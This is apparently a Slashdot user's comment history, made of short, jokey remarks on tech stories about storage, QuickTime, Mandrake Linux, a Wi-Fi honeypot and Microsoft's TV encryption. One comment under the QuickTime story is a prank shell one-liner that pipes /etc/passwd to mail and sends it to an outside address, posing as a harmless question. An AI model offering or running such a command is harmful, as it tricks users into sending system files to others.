User: Znonymous Coward

So whould that be...

On: Malicious Distributed Computing

the same as a Beowluf cluster of those?

IBM SSA

On: Serial ATA Technology Explained

IBM has been using this for quite some time in their RISC systems. It's freaking bad ass! You can have hundreds of drives in 1 machine and they work like an ethernet network sharing controller bandwidth.

http://www.storage.ibm.com/hardsoft/products/713 3/ 7133.htm

Re:tail;unzip;finger;head;strip;mount;fsck;more;ma

On: QuickTime 6.0.2 Released

echo "What does that do?";cat /etc/passwd|mail -s "Karma horing" webmaster@slashdot.org

SuperDrive Firmware Update is also out

On: QuickTime 6.0.2 Released

The SuperDrive update is also out.

Re:Mandrake

On: Review of Linux Mandrake 9.0

Dear Troll,

Please tell me in your expert opinion how Mandrake UI is any dumber than RedHat or SuSe or anything else. I eagerly await your reply.

Thanks!

Just imagine

On: IBM PowerPC 970 Architecture

Imagine a Microsoft
Cluster of these.

Re:2 things

On: Wartrapping?

And I though I was covered. I guess I need to go get a pringles can a try it out.

2 things

On: Wartrapping?

#1...

Maybe I'm a dumbass, but dosen't MAC address filtering address most of the security issues related to Wi-Fi?

#2...

The honeypot will be a laptop with a Prism wireless LAN card, which can act as a Wi-Fi access point. The laptop will have no other network connection, but will appear to the hacker as a possible entry point to the corporate network.

Imagine a Beowulf of these.

Smart move

On: MS Backs Down On Encrypted Digital TV Recording

Microsoft has bowed to consumer pressure and pulled back from a controversial plan that would have encrypted TV shows recorded on forthcoming digital media PCs.

This was a smart move. I mean come on, no one would want to but one if they couldn't fill it with illegal goods and send it across the border.